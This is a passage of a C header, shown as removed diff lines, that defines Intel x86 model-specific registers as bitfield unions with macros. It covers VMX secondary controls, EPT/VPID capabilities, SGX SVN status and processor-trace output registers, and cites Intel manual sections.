- */ - uint64_t virtual_interrupt_delivery : 1; -#define IA32_VMX_PROCBASED_CTLS2_VIRTUAL_INTERRUPT_DELIVERY_BIT 9 -#define IA32_VMX_PROCBASED_CTLS2_VIRTUAL_INTERRUPT_DELIVERY_FLAG 0x200 -#define IA32_VMX_PROCBASED_CTLS2_VIRTUAL_INTERRUPT_DELIVERY_MASK 0x01 -#define IA32_VMX_PROCBASED_CTLS2_VIRTUAL_INTERRUPT_DELIVERY(_) (((_) >> 9) & 0x01) - - /** - * @brief A specified number of pause loops cause a VM-exit - * - * [Bit 10] This control determines whether a series of executions of PAUSE can cause a VM exit. - * - * @see Vol3C[24.6.13(Controls for PAUSE-Loop Exiting)] - * @see Vol3C[25.1.3(Instructions That Cause VM Exits Conditionally)] - */ - uint64_t pause_loop_exiting : 1; -#define IA32_VMX_PROCBASED_CTLS2_PAUSE_LOOP_EXITING_BIT 10 -#define IA32_VMX_PROCBASED_CTLS2_PAUSE_LOOP_EXITING_FLAG 0x400 -#define IA32_VMX_PROCBASED_CTLS2_PAUSE_LOOP_EXITING_MASK 0x01 -#define IA32_VMX_PROCBASED_CTLS2_PAUSE_LOOP_EXITING(_) (((_) >> 10) & 0x01) - - /** - * @brief VM-exit when executing RDRAND instructions - * - * [Bit 11] This control determines whether executions of RDRAND cause VM exits. - */ - uint64_t rdrand_exiting : 1; -#define IA32_VMX_PROCBASED_CTLS2_RDRAND_EXITING_BIT 11 -#define IA32_VMX_PROCBASED_CTLS2_RDRAND_EXITING_FLAG 0x800 -#define IA32_VMX_PROCBASED_CTLS2_RDRAND_EXITING_MASK 0x01 -#define IA32_VMX_PROCBASED_CTLS2_RDRAND_EXITING(_) (((_) >> 11) & 0x01) - - /** - * @brief Enables INVPCID instructions - * - * [Bit 12] If this control is 0, any execution of INVPCID causes a \#UD. - */ - uint64_t enable_invpcid : 1; -#define IA32_VMX_PROCBASED_CTLS2_ENABLE_INVPCID_BIT 12 -#define IA32_VMX_PROCBASED_CTLS2_ENABLE_INVPCID_FLAG 0x1000 -#define IA32_VMX_PROCBASED_CTLS2_ENABLE_INVPCID_MASK 0x01 -#define IA32_VMX_PROCBASED_CTLS2_ENABLE_INVPCID(_) (((_) >> 12) & 0x01) - - /** - * @brief Enables VMFUNC instructions - * - * [Bit 13] Setting this control to 1 enables use of the VMFUNC instruction in VMX non-root operation. - * - * @see Vol3C[25.5.5(VM Functions)] - */ - uint64_t enable_vm_functions : 1; -#define IA32_VMX_PROCBASED_CTLS2_ENABLE_VM_FUNCTIONS_BIT 13 -#define IA32_VMX_PROCBASED_CTLS2_ENABLE_VM_FUNCTIONS_FLAG 0x2000 -#define IA32_VMX_PROCBASED_CTLS2_ENABLE_VM_FUNCTIONS_MASK 0x01 -#define IA32_VMX_PROCBASED_CTLS2_ENABLE_VM_FUNCTIONS(_) (((_) >> 13) & 0x01) - - /** - * @brief Enables VMCS shadowing - * - * [Bit 14] If this control is 1, executions of VMREAD and VMWRITE in VMX non-root operation may access a shadow VMCS - * (instead of causing VM exits). - * - * @see {'Vol3C[24.10(VMCS TYPES': 'ORDINARY AND SHADOW)]'} - * @see Vol3C[30.3(VMX INSTRUCTIONS)] - */ - uint64_t vmcs_shadowing : 1; -#define IA32_VMX_PROCBASED_CTLS2_VMCS_SHADOWING_BIT 14 -#define IA32_VMX_PROCBASED_CTLS2_VMCS_SHADOWING_FLAG 0x4000 -#define IA32_VMX_PROCBASED_CTLS2_VMCS_SHADOWING_MASK 0x01 -#define IA32_VMX_PROCBASED_CTLS2_VMCS_SHADOWING(_) (((_) >> 14) & 0x01) - - /** - * @brief Enables ENCLS VM-exits - * - * [Bit 15] If this control is 1, executions of ENCLS consult the ENCLS-exiting bitmap to determine whether the instruction - * causes a VM exit. - * - * @see Vol3C[24.6.16(ENCLS-Exiting Bitmap)] - * @see Vol3C[25.1.3(Instructions That Cause VM Exits Conditionally)] - */ - uint64_t enable_encls_exiting : 1; -#define IA32_VMX_PROCBASED_CTLS2_ENABLE_ENCLS_EXITING_BIT 15 -#define IA32_VMX_PROCBASED_CTLS2_ENABLE_ENCLS_EXITING_FLAG 0x8000 -#define IA32_VMX_PROCBASED_CTLS2_ENABLE_ENCLS_EXITING_MASK 0x01 -#define IA32_VMX_PROCBASED_CTLS2_ENABLE_ENCLS_EXITING(_) (((_) >> 15) & 0x01) - - /** - * @brief VM-exit when executing RDSEED - * - * [Bit 16] This control determines whether executions of RDSEED cause VM exits. - */ - uint64_t rdseed_exiting : 1; -#define IA32_VMX_PROCBASED_CTLS2_RDSEED_EXITING_BIT 16 -#define IA32_VMX_PROCBASED_CTLS2_RDSEED_EXITING_FLAG 0x10000 -#define IA32_VMX_PROCBASED_CTLS2_RDSEED_EXITING_MASK 0x01 -#define IA32_VMX_PROCBASED_CTLS2_RDSEED_EXITING(_) (((_) >> 16) & 0x01) - - /** - * @brief Enables page-modification logging - * - * [Bit 17] If this control is 1, an access to a guest-physical address that sets an EPT dirty bit first adds an entry to - * the page-modification log. - * - * @see Vol3C[28.2.5(Page-Modification Logging)] - */ - uint64_t enable_pml : 1; -#define IA32_VMX_PROCBASED_CTLS2_ENABLE_PML_BIT 17 -#define IA32_VMX_PROCBASED_CTLS2_ENABLE_PML_FLAG 0x20000 -#define IA32_VMX_PROCBASED_CTLS2_ENABLE_PML_MASK 0x01 -#define IA32_VMX_PROCBASED_CTLS2_ENABLE_PML(_) (((_) >> 17) & 0x01) - - /** - * @brief Controls whether EPT-violations may cause - * - * [Bit 18] If this control is 1, EPT violations may cause virtualization exceptions (\#VE) instead of VM exits. - * - * @see Vol3C[25.5.6(Virtualization Exceptions)] - */ - uint64_t ept_violation : 1; -#define IA32_VMX_PROCBASED_CTLS2_EPT_VIOLATION_BIT 18 -#define IA32_VMX_PROCBASED_CTLS2_EPT_VIOLATION_FLAG 0x40000 -#define IA32_VMX_PROCBASED_CTLS2_EPT_VIOLATION_MASK 0x01 -#define IA32_VMX_PROCBASED_CTLS2_EPT_VIOLATION(_) (((_) >> 18) & 0x01) - - /** - * @brief Conceal VMX non-root operation from Intel processor trace (PT) - * - * [Bit 19] If this control is 1, Intel Processor Trace suppresses from PIPs an indication that the processor was in VMX - * non-root operation and omits a VMCS packet from any PSB+ produced in VMX nonroot operation. - * - * @see Vol3C[35(INTEL(R) PROCESSOR TRACE)] - */ - uint64_t conceal_vmx_from_pt : 1; -#define IA32_VMX_PROCBASED_CTLS2_CONCEAL_VMX_FROM_PT_BIT 19 -#define IA32_VMX_PROCBASED_CTLS2_CONCEAL_VMX_FROM_PT_FLAG 0x80000 -#define IA32_VMX_PROCBASED_CTLS2_CONCEAL_VMX_FROM_PT_MASK 0x01 -#define IA32_VMX_PROCBASED_CTLS2_CONCEAL_VMX_FROM_PT(_) (((_) >> 19) & 0x01) - - /** - * @brief Enables XSAVES/XRSTORS instructions - * - * [Bit 20] If this control is 0, any execution of XSAVES or XRSTORS causes a \#UD. - */ - uint64_t enable_xsaves : 1; -#define IA32_VMX_PROCBASED_CTLS2_ENABLE_XSAVES_BIT 20 -#define IA32_VMX_PROCBASED_CTLS2_ENABLE_XSAVES_FLAG 0x100000 -#define IA32_VMX_PROCBASED_CTLS2_ENABLE_XSAVES_MASK 0x01 -#define IA32_VMX_PROCBASED_CTLS2_ENABLE_XSAVES(_) (((_) >> 20) & 0x01) - uint64_t reserved1 : 1; - - /** - * [Bit 22] If this control is 1, EPT execute permissions are based on whether the linear address being accessed is - * supervisor mode or user mode. - * - * @see Vol3C[28(VMX SUPPORT FOR ADDRESS TRANSLATION)] - */ - uint64_t mode_based_execute_control_for_ept : 1; -#define IA32_VMX_PROCBASED_CTLS2_MODE_BASED_EXECUTE_CONTROL_FOR_EPT_BIT 22 -#define IA32_VMX_PROCBASED_CTLS2_MODE_BASED_EXECUTE_CONTROL_FOR_EPT_FLAG 0x400000 -#define IA32_VMX_PROCBASED_CTLS2_MODE_BASED_EXECUTE_CONTROL_FOR_EPT_MASK 0x01 -#define IA32_VMX_PROCBASED_CTLS2_MODE_BASED_EXECUTE_CONTROL_FOR_EPT(_) (((_) >> 22) & 0x01) - uint64_t reserved2 : 2; - - /** - * @brief Use TSC scaling - * - * [Bit 25] This control determines whether executions of RDTSC, executions of RDTSCP, and executions of RDMSR that read - * from the IA32_TIME_STAMP_COUNTER MSR return a value modified by the TSC multiplier field. - * - * @see Vol3C[24.6.5(Time-Stamp Counter Offset and Multiplier)] - * @see Vol3C[25.3(CHANGES TO INSTRUCTION BEHAVIOR IN VMX NON-ROOT OPERATION)] - */ - uint64_t use_tsc_scaling : 1; -#define IA32_VMX_PROCBASED_CTLS2_USE_TSC_SCALING_BIT 25 -#define IA32_VMX_PROCBASED_CTLS2_USE_TSC_SCALING_FLAG 0x2000000 -#define IA32_VMX_PROCBASED_CTLS2_USE_TSC_SCALING_MASK 0x01 -#define IA32_VMX_PROCBASED_CTLS2_USE_TSC_SCALING(_) (((_) >> 25) & 0x01) - uint64_t reserved3 : 38; - }; - - uint64_t flags; -} ia32_vmx_procbased_ctls2_register; - - -/** - * Capability Reporting Register of EPT and VPID. - * - * @remarks If ( CPUID.01H:ECX.[5] && IA32_VMX_PROCBASED_CTLS[63] && (IA32_VMX_PROCBASED_CTLS2[33] || - * IA32_VMX_PROCBASED_CTLS2[37]) ) - * @see Vol3D[A.10(VPID AND EPT CAPABILITIES)] - * @see Vol3D[A.10(VPID and EPT Capabilities)] (reference) - */ -#define IA32_VMX_EPT_VPID_CAP 0x0000048C -typedef union -{ - struct - { - /** - * [Bit 0] When set to 1, the processor supports execute-only translations by EPT. This support allows software to - * configure EPT paging-structure entries in which bits 1:0 are clear (indicating that data accesses are not allowed) and - * bit 2 is set (indicating that instruction fetches are allowed). - */ - uint64_t execute_only_pages : 1; -#define IA32_VMX_EPT_VPID_CAP_EXECUTE_ONLY_PAGES_BIT 0 -#define IA32_VMX_EPT_VPID_CAP_EXECUTE_ONLY_PAGES_FLAG 0x01 -#define IA32_VMX_EPT_VPID_CAP_EXECUTE_ONLY_PAGES_MASK 0x01 -#define IA32_VMX_EPT_VPID_CAP_EXECUTE_ONLY_PAGES(_) (((_) >> 0) & 0x01) - uint64_t reserved1 : 5; - - /** - * [Bit 6] Indicates support for a page-walk length of 4. - */ - uint64_t page_walk_length_4 : 1; -#define IA32_VMX_EPT_VPID_CAP_PAGE_WALK_LENGTH_4_BIT 6 -#define IA32_VMX_EPT_VPID_CAP_PAGE_WALK_LENGTH_4_FLAG 0x40 -#define IA32_VMX_EPT_VPID_CAP_PAGE_WALK_LENGTH_4_MASK 0x01 -#define IA32_VMX_EPT_VPID_CAP_PAGE_WALK_LENGTH_4(_) (((_) >> 6) & 0x01) - uint64_t reserved2 : 1; - - /** - * [Bit 8] When set to 1, the logical processor allows software to configure the EPT paging-structure memory type to be - * uncacheable (UC). - * - * @see Vol3C[24.6.11(Extended-Page-Table Pointer (EPTP))] - */ - uint64_t memory_type_uncacheable : 1; -#define IA32_VMX_EPT_VPID_CAP_MEMORY_TYPE_UNCACHEABLE_BIT 8 -#define IA32_VMX_EPT_VPID_CAP_MEMORY_TYPE_UNCACHEABLE_FLAG 0x100 -#define IA32_VMX_EPT_VPID_CAP_MEMORY_TYPE_UNCACHEABLE_MASK 0x01 -#define IA32_VMX_EPT_VPID_CAP_MEMORY_TYPE_UNCACHEABLE(_) (((_) >> 8) & 0x01) - uint64_t reserved3 : 5; - - /** - * [Bit 14] When set to 1, the logical processor allows software to configure the EPT paging-structure memory type to be - * write-back (WB). - */ - uint64_t memory_type_write_back : 1; -#define IA32_VMX_EPT_VPID_CAP_MEMORY_TYPE_WRITE_BACK_BIT 14 -#define IA32_VMX_EPT_VPID_CAP_MEMORY_TYPE_WRITE_BACK_FLAG 0x4000 -#define IA32_VMX_EPT_VPID_CAP_MEMORY_TYPE_WRITE_BACK_MASK 0x01 -#define IA32_VMX_EPT_VPID_CAP_MEMORY_TYPE_WRITE_BACK(_) (((_) >> 14) & 0x01) - uint64_t reserved4 : 1; - - /** - * [Bit 16] When set to 1, the logical processor allows software to configure a EPT PDE to map a 2-Mbyte page (by setting - * bit 7 in the EPT PDE). - */ - uint64_t pde_2mb_pages : 1; -#define IA32_VMX_EPT_VPID_CAP_PDE_2MB_PAGES_BIT 16 -#define IA32_VMX_EPT_VPID_CAP_PDE_2MB_PAGES_FLAG 0x10000 -#define IA32_VMX_EPT_VPID_CAP_PDE_2MB_PAGES_MASK 0x01 -#define IA32_VMX_EPT_VPID_CAP_PDE_2MB_PAGES(_) (((_) >> 16) & 0x01) - - /** - * [Bit 17] When set to 1, the logical processor allows software to configure a EPT PDPTE to map a 1-Gbyte page (by setting - * bit 7 in the EPT PDPTE). - */ - uint64_t pdpte_1gb_pages : 1; -#define IA32_VMX_EPT_VPID_CAP_PDPTE_1GB_PAGES_BIT 17 -#define IA32_VMX_EPT_VPID_CAP_PDPTE_1GB_PAGES_FLAG 0x20000 -#define IA32_VMX_EPT_VPID_CAP_PDPTE_1GB_PAGES_MASK 0x01 -#define IA32_VMX_EPT_VPID_CAP_PDPTE_1GB_PAGES(_) (((_) >> 17) & 0x01) - uint64_t reserved5 : 2; - - /** - * [Bit 20] If bit 20 is read as 1, the INVEPT instruction is supported. - * - * @see Vol3C[30(VMX INSTRUCTION REFERENCE)] - * @see Vol3C[28.3.3.1(Operations that Invalidate Cached Mappings)] - */ - uint64_t invept : 1; -#define IA32_VMX_EPT_VPID_CAP_INVEPT_BIT 20 -#define IA32_VMX_EPT_VPID_CAP_INVEPT_FLAG 0x100000 -#define IA32_VMX_EPT_VPID_CAP_INVEPT_MASK 0x01 -#define IA32_VMX_EPT_VPID_CAP_INVEPT(_) (((_) >> 20) & 0x01) - - /** - * [Bit 21] When set to 1, accessed and dirty flags for EPT are supported. - * - * @see Vol3C[28.2.4(Accessed and Dirty Flags for EPT)] - */ - uint64_t ept_accessed_and_dirty_flags : 1; -#define IA32_VMX_EPT_VPID_CAP_EPT_ACCESSED_AND_DIRTY_FLAGS_BIT 21 -#define IA32_VMX_EPT_VPID_CAP_EPT_ACCESSED_AND_DIRTY_FLAGS_FLAG 0x200000 -#define IA32_VMX_EPT_VPID_CAP_EPT_ACCESSED_AND_DIRTY_FLAGS_MASK 0x01 -#define IA32_VMX_EPT_VPID_CAP_EPT_ACCESSED_AND_DIRTY_FLAGS(_) (((_) >> 21) & 0x01) - - /** - * [Bit 22] When set to 1, the processor reports advanced VM-exit information for EPT violations. This reporting is done - * only if this bit is read as 1. - * - * @see Vol3C[27.2.1(Basic VM-Exit Information)] - */ - uint64_t advanced_vmexit_ept_violations_information : 1; -#define IA32_VMX_EPT_VPID_CAP_ADVANCED_VMEXIT_EPT_VIOLATIONS_INFORMATION_BIT 22 -#define IA32_VMX_EPT_VPID_CAP_ADVANCED_VMEXIT_EPT_VIOLATIONS_INFORMATION_FLAG 0x400000 -#define IA32_VMX_EPT_VPID_CAP_ADVANCED_VMEXIT_EPT_VIOLATIONS_INFORMATION_MASK 0x01 -#define IA32_VMX_EPT_VPID_CAP_ADVANCED_VMEXIT_EPT_VIOLATIONS_INFORMATION(_) (((_) >> 22) & 0x01) - uint64_t reserved6 : 2; - - /** - * [Bit 25] When set to 1, the single-context INVEPT type is supported. - * - * @see Vol3C[30(VMX INSTRUCTION REFERENCE)] - * @see Vol3C[28.3.3.1(Operations that Invalidate Cached Mappings)] - */ - uint64_t invept_single_context : 1; -#define IA32_VMX_EPT_VPID_CAP_INVEPT_SINGLE_CONTEXT_BIT 25 -#define IA32_VMX_EPT_VPID_CAP_INVEPT_SINGLE_CONTEXT_FLAG 0x2000000 -#define IA32_VMX_EPT_VPID_CAP_INVEPT_SINGLE_CONTEXT_MASK 0x01 -#define IA32_VMX_EPT_VPID_CAP_INVEPT_SINGLE_CONTEXT(_) (((_) >> 25) & 0x01) - - /** - * [Bit 26] When set to 1, the all-context INVEPT type is supported. - * - * @see Vol3C[30(VMX INSTRUCTION REFERENCE)] - * @see Vol3C[28.3.3.1(Operations that Invalidate Cached Mappings)] - */ - uint64_t invept_all_contexts : 1; -#define IA32_VMX_EPT_VPID_CAP_INVEPT_ALL_CONTEXTS_BIT 26 -#define IA32_VMX_EPT_VPID_CAP_INVEPT_ALL_CONTEXTS_FLAG 0x4000000 -#define IA32_VMX_EPT_VPID_CAP_INVEPT_ALL_CONTEXTS_MASK 0x01 -#define IA32_VMX_EPT_VPID_CAP_INVEPT_ALL_CONTEXTS(_) (((_) >> 26) & 0x01) - uint64_t reserved7 : 5; - - /** - * [Bit 32] When set to 1, the INVVPID instruction is supported. - */ - uint64_t invvpid : 1; -#define IA32_VMX_EPT_VPID_CAP_INVVPID_BIT 32 -#define IA32_VMX_EPT_VPID_CAP_INVVPID_FLAG 0x100000000 -#define IA32_VMX_EPT_VPID_CAP_INVVPID_MASK 0x01 -#define IA32_VMX_EPT_VPID_CAP_INVVPID(_) (((_) >> 32) & 0x01) - uint64_t reserved8 : 7; - - /** - * [Bit 40] When set to 1, the individual-address INVVPID type is supported. - */ - uint64_t invvpid_individual_address : 1; -#define IA32_VMX_EPT_VPID_CAP_INVVPID_INDIVIDUAL_ADDRESS_BIT 40 -#define IA32_VMX_EPT_VPID_CAP_INVVPID_INDIVIDUAL_ADDRESS_FLAG 0x10000000000 -#define IA32_VMX_EPT_VPID_CAP_INVVPID_INDIVIDUAL_ADDRESS_MASK 0x01 -#define IA32_VMX_EPT_VPID_CAP_INVVPID_INDIVIDUAL_ADDRESS(_) (((_) >> 40) & 0x01) - - /** - * [Bit 41] When set to 1, the single-context INVVPID type is supported. - */ - uint64_t invvpid_single_context : 1; -#define IA32_VMX_EPT_VPID_CAP_INVVPID_SINGLE_CONTEXT_BIT 41 -#define IA32_VMX_EPT_VPID_CAP_INVVPID_SINGLE_CONTEXT_FLAG 0x20000000000 -#define IA32_VMX_EPT_VPID_CAP_INVVPID_SINGLE_CONTEXT_MASK 0x01 -#define IA32_VMX_EPT_VPID_CAP_INVVPID_SINGLE_CONTEXT(_) (((_) >> 41) & 0x01) - - /** - * [Bit 42] When set to 1, the all-context INVVPID type is supported. - */ - uint64_t invvpid_all_contexts : 1; -#define IA32_VMX_EPT_VPID_CAP_INVVPID_ALL_CONTEXTS_BIT 42 -#define IA32_VMX_EPT_VPID_CAP_INVVPID_ALL_CONTEXTS_FLAG 0x40000000000 -#define IA32_VMX_EPT_VPID_CAP_INVVPID_ALL_CONTEXTS_MASK 0x01 -#define IA32_VMX_EPT_VPID_CAP_INVVPID_ALL_CONTEXTS(_) (((_) >> 42) & 0x01) - - /** - * [Bit 43] When set to 1, the single-context-retaining-globals INVVPID type is supported. - */ - uint64_t invvpid_single_context_retain_globals : 1; -#define IA32_VMX_EPT_VPID_CAP_INVVPID_SINGLE_CONTEXT_RETAIN_GLOBALS_BIT 43 -#define IA32_VMX_EPT_VPID_CAP_INVVPID_SINGLE_CONTEXT_RETAIN_GLOBALS_FLAG 0x80000000000 -#define IA32_VMX_EPT_VPID_CAP_INVVPID_SINGLE_CONTEXT_RETAIN_GLOBALS_MASK 0x01 -#define IA32_VMX_EPT_VPID_CAP_INVVPID_SINGLE_CONTEXT_RETAIN_GLOBALS(_) (((_) >> 43) & 0x01) - uint64_t reserved9 : 20; - }; - - uint64_t flags; -} ia32_vmx_ept_vpid_cap_register; - -/** - * @defgroup ia32_vmx_true_ctls \ - * IA32_VMX_TRUE_(x)_CTLS - * - * Capability Reporting Register of Pin-Based VM-Execution Flex Controls, Primary Processor-Based VM-Execution Flex - * Controls, VM-Exit Flex Controls and VM-Entry Flex Controls. - * - * @remarks If ( CPUID.01H:ECX.[5] = 1 && IA32_VMX_BASIC[55] ) - * @see Vol3D[A.3.1(Pin-Based VM-Execution Controls)] - * @see Vol3D[A.3.2(Primary Processor-Based VM-Execution Controls)] - * @see Vol3D[A.4(VM-EXIT CONTROLS)] - * @see Vol3D[A.5(VM-ENTRY CONTROLS)] - * @see Vol3D[A.3.1(Pin-Based VMExecution Controls)] (reference) - * @see Vol3D[A.3.2(Primary Processor-Based VM-Execution Controls)] (reference) - * @see Vol3D[A.4(VM-Exit Controls)] (reference) - * @see Vol3D[A.5(VM-Entry Controls)] (reference) - * @{ - */ -#define IA32_VMX_TRUE_PINBASED_CTLS 0x0000048D -#define IA32_VMX_TRUE_PROCBASED_CTLS 0x0000048E -#define IA32_VMX_TRUE_EXIT_CTLS 0x0000048F -#define IA32_VMX_TRUE_ENTRY_CTLS 0x00000490 -typedef union -{ - struct - { - /** - * [Bits 31:0] Indicate the allowed 0-settings of these controls. VM entry allows control X to be 0 if bit X in the MSR is - * cleared to 0; if bit X in the MSR is set to 1, VM entry fails if control X is 0. - */ - uint64_t allowed_0_settings : 32; -#define IA32_VMX_TRUE_CTLS_ALLOWED_0_SETTINGS_BIT 0 -#define IA32_VMX_TRUE_CTLS_ALLOWED_0_SETTINGS_FLAG 0xFFFFFFFF -#define IA32_VMX_TRUE_CTLS_ALLOWED_0_SETTINGS_MASK 0xFFFFFFFF -#define IA32_VMX_TRUE_CTLS_ALLOWED_0_SETTINGS(_) (((_) >> 0) & 0xFFFFFFFF) - - /** - * [Bits 63:32] Indicate the allowed 1-settings of these controls. VM entry allows control X to be 1 if bit 32+X in the MSR - * is set to 1; if bit 32+X in the MSR is cleared to 0, VM entry fails if control X is 1. - */ - uint64_t allowed_1_settings : 32; -#define IA32_VMX_TRUE_CTLS_ALLOWED_1_SETTINGS_BIT 32 -#define IA32_VMX_TRUE_CTLS_ALLOWED_1_SETTINGS_FLAG 0xFFFFFFFF00000000 -#define IA32_VMX_TRUE_CTLS_ALLOWED_1_SETTINGS_MASK 0xFFFFFFFF -#define IA32_VMX_TRUE_CTLS_ALLOWED_1_SETTINGS(_) (((_) >> 32) & 0xFFFFFFFF) - }; - - uint64_t flags; -} ia32_vmx_true_ctls_register; - -/** - * @} - */ - - - /** - * Capability Reporting Register of VMFunction Controls. - * - * @remarks If ( CPUID.01H:ECX.[5] = 1 && IA32_VMX_BASIC[55] ) - * @see Vol3D[A.11(VM FUNCTIONS)] - * @see Vol3D[24.6.14(VM-Function Controls)] (reference) - */ -#define IA32_VMX_VMFUNC 0x00000491 -typedef union -{ - struct - { - /** - * [Bit 0] The EPTP-switching VM function changes the EPT pointer to a value chosen from the EPTP list. - * - * @see Vol3C[25.5.5.3(EPTP Switching)] - */ - uint64_t eptp_switching : 1; -#define IA32_VMX_VMFUNC_EPTP_SWITCHING_BIT 0 -#define IA32_VMX_VMFUNC_EPTP_SWITCHING_FLAG 0x01 -#define IA32_VMX_VMFUNC_EPTP_SWITCHING_MASK 0x01 -#define IA32_VMX_VMFUNC_EPTP_SWITCHING(_) (((_) >> 0) & 0x01) - uint64_t reserved1 : 63; - }; - - uint64_t flags; -} ia32_vmx_vmfunc_register; - -/** - * @defgroup ia32_a_pmc \ - * IA32_A_PMC(n) - * - * Full Width Writable IA32_PMC(n) Alias. - * - * @remarks (If CPUID.0AH: EAX[15:8] > 0) && IA32_PERF_CAPABILITIES[13] = 1 - * @{ - */ -#define IA32_A_PMC0 0x000004C1 -#define IA32_A_PMC1 0x000004C2 -#define IA32_A_PMC2 0x000004C3 -#define IA32_A_PMC3 0x000004C4 -#define IA32_A_PMC4 0x000004C5 -#define IA32_A_PMC5 0x000004C6 -#define IA32_A_PMC6 0x000004C7 -#define IA32_A_PMC7 0x000004C8 - /** - * @} - */ - - - /** - * Allows software to signal some MCEs to only a single logical processor in the system. - * - * @remarks If IA32_MCG_CAP.LMCE_P = 1 - * @see Vol3B[15.3.1.4(IA32_MCG_EXT_CTL MSR)] - */ -#define IA32_MCG_EXT_CTL 0x000004D0 -typedef union -{ - struct - { - uint64_t lmce_en : 1; -#define IA32_MCG_EXT_CTL_LMCE_EN_BIT 0 -#define IA32_MCG_EXT_CTL_LMCE_EN_FLAG 0x01 -#define IA32_MCG_EXT_CTL_LMCE_EN_MASK 0x01 -#define IA32_MCG_EXT_CTL_LMCE_EN(_) (((_) >> 0) & 0x01) - uint64_t reserved1 : 63; - }; - - uint64_t flags; -} ia32_mcg_ext_ctl_register; - - -/** - * @brief Status and SVN Threshold of SGX Support for ACM (RO) - * - * Intel SGX only allows launching ACMs with an Intel SGX SVN that is at the same level or higher than the expected Intel - * SGX SVN. The expected Intel SGX SVN is specified by BIOS and locked down by the processor on the first successful - * execution of an Intel SGX instruction that doesn't return an error code. Intel SGX provides interfaces for system - * software to discover whether a non faulting Intel SGX instruction has been executed, and evaluate the suitability of the - * Intel SGX SVN value of any ACM that is expected to be launched by the OS or the VMM. - * - * @remarks If CPUID.(EAX=07H, ECX=0H): EBX[2] = 1 - * @see Vol3D[41.11.3(Interactions with Authenticated Code Modules (ACMs))] (reference) - */ -#define IA32_SGX_SVN_STATUS 0x00000500 -typedef union -{ - struct - { - /** - * [Bit 0] - If 1, indicates that a non-faulting Intel SGX instruction has been executed, consequently, launching a - * properly signed ACM but with Intel SGX SVN value less than the BIOS specified Intel SGX SVN threshold would lead to an - * TXT shutdown. - * - If 0, indicates that the processor will allow a properly signed ACM to launch irrespective of the Intel SGX SVN value - * of the ACM. - * - * @see Vol3D[41.11.3(Interactions with Authenticated Code Modules (ACMs))] - */ - uint64_t lock : 1; -#define IA32_SGX_SVN_STATUS_LOCK_BIT 0 -#define IA32_SGX_SVN_STATUS_LOCK_FLAG 0x01 -#define IA32_SGX_SVN_STATUS_LOCK_MASK 0x01 -#define IA32_SGX_SVN_STATUS_LOCK(_) (((_) >> 0) & 0x01) - uint64_t reserved1 : 15; - - /** - * @brief Reflects the expected threshold of Intel SGX SVN for the SINIT ACM - * - * [Bits 23:16] - If CPUID.01H:ECX.SMX = 1, this field reflects the expected threshold of Intel SGX SVN for the SINIT ACM. - * - If CPUID.01H:ECX.SMX = 0, this field is reserved (0). - * - * @see Vol3D[41.11.3(Interactions with Authenticated Code Modules (ACMs))] - */ - uint64_t sgx_svn_sinit : 8; -#define IA32_SGX_SVN_STATUS_SGX_SVN_SINIT_BIT 16 -#define IA32_SGX_SVN_STATUS_SGX_SVN_SINIT_FLAG 0xFF0000 -#define IA32_SGX_SVN_STATUS_SGX_SVN_SINIT_MASK 0xFF -#define IA32_SGX_SVN_STATUS_SGX_SVN_SINIT(_) (((_) >> 16) & 0xFF) - uint64_t reserved2 : 40; - }; - - uint64_t flags; -} ia32_sgx_svn_status_register; - - -/** - * Trace Output Base Register. - * - * @remarks If ( (CPUID.(EAX=07H, ECX=0):EBX[25] = 1) && ( (CPUID.(EAX=14H,ECX=0): ECX[0] = 1) || - * (CPUID.(EAX=14H,ECX=0):ECX[2] = 1) ) ) - * @see Vol3C[35.2.7.7(IA32_RTIT_OUTPUT_BASE MSR)] (reference) - */ -#define IA32_RTIT_OUTPUT_BASE 0x00000560 -typedef union -{ - struct - { - uint64_t reserved1 : 7; - - /** - * @brief Base physical address - * - * [Bits 47:7] The base physical address. How this address is used depends on the value of IA32_RTIT_CTL.ToPA: - * - 0: This is the base physical address of a single, contiguous physical output region. This could be mapped to DRAM or - * to MMIO, depending on the value. The base address should be aligned with the size of the region, such that none of the - * 1s in the mask value overlap with 1s in the base address. If the base is not aligned, an operational error will result. - * - 1: The base physical address of the current ToPA table. The address must be 4K aligned. Writing an address in which - * bits 11:7 are non-zero will not cause a \#GP, but an operational error will be signaled once TraceEn is set. - * - * @see Vol3C[35.2.7.8(IA32_RTIT_OUTPUT_MASK_PTRS MSR)] - * @see Vol3C[35.3.9(Operational Errors)] - * @see Vol3C[35.2.6.2(Table of Physical Addresses (ToPA))] - */ - uint64_t base_physical_address : 41; -#define IA32_RTIT_OUTPUT_BASE_BASE_PHYSICAL_ADDRESS_BIT 7 -#define IA32_RTIT_OUTPUT_BASE_BASE_PHYSICAL_ADDRESS_FLAG 0xFFFFFFFFFF80 -#define IA32_RTIT_OUTPUT_BASE_BASE_PHYSICAL_ADDRESS_MASK 0x1FFFFFFFFFF -#define IA32_RTIT_OUTPUT_BASE_BASE_PHYSICAL_ADDRESS(_) (((_) >> 7) & 0x1FFFFFFFFFF) - uint64_t reserved2 : 16; - }; - - uint64_t flags; -} ia32_rtit_output_base_register; - - -/** - * Trace Output Mask Pointers Register. - * - * @remarks If ( (CPUID.(EAX=07H, ECX=0):EBX[25] = 1) && ( (CPUID.(EAX=14H,ECX=0):ECX[0] = 1) || - * (CPUID.(EAX=14H,ECX=0):ECX[2] = 1) ) ) - * @see Vol3C[35.2.7.8(IA32_RTIT_OUTPUT_MASK_PTRS MSR)] (reference) - */ -#define IA32_RTIT_OUTPUT_MASK_PTRS 0x00000561 -typedef union -{ - struct - { - /** - * [Bits 6:0] Forced to 1, writes are ignored. - */ - uint64_t lower_mask : 7; -#define IA32_RTIT_OUTPUT_MASK_PTRS_LOWER_MASK_BIT 0 -#define IA32_RTIT_OUTPUT_MASK_PTRS_LOWER_MASK_FLAG 0x7F -#define IA32_RTIT_OUTPUT_MASK_PTRS_LOWER_MASK_MASK 0x7F -#define IA32_RTIT_OUTPUT_MASK_PTRS_LOWER_MASK(_) (((_) >> 0) & 0x7F) - - /** - * @brief MaskOrTableOffset - * - * [Bits 31:7] The use of this field depends on the value of IA32_RTIT_CTL.ToPA: - * - 0: This field holds bits 31:7 of the mask value for the single, contiguous physical output region. The size of this - * field indicates that regions can be of size 128B up to 4GB. This value (combined with the lower 7 bits, which are - * reserved to 1) will be ANDed with the OutputOffset field to determine the next write address. All 1s in this field - * should be consecutive and starting at bit 7, otherwise the region will not be contiguous, and an operational error will - * be signaled when TraceEn is set. - * - 1: This field holds bits 27:3 of the offset pointer into the current ToPA table. This value can be added to the - * IA32_RTIT_OUTPUT_BASE value to produce a pointer to the current ToPA table entry, which itself is a pointer to the - * current output region. In 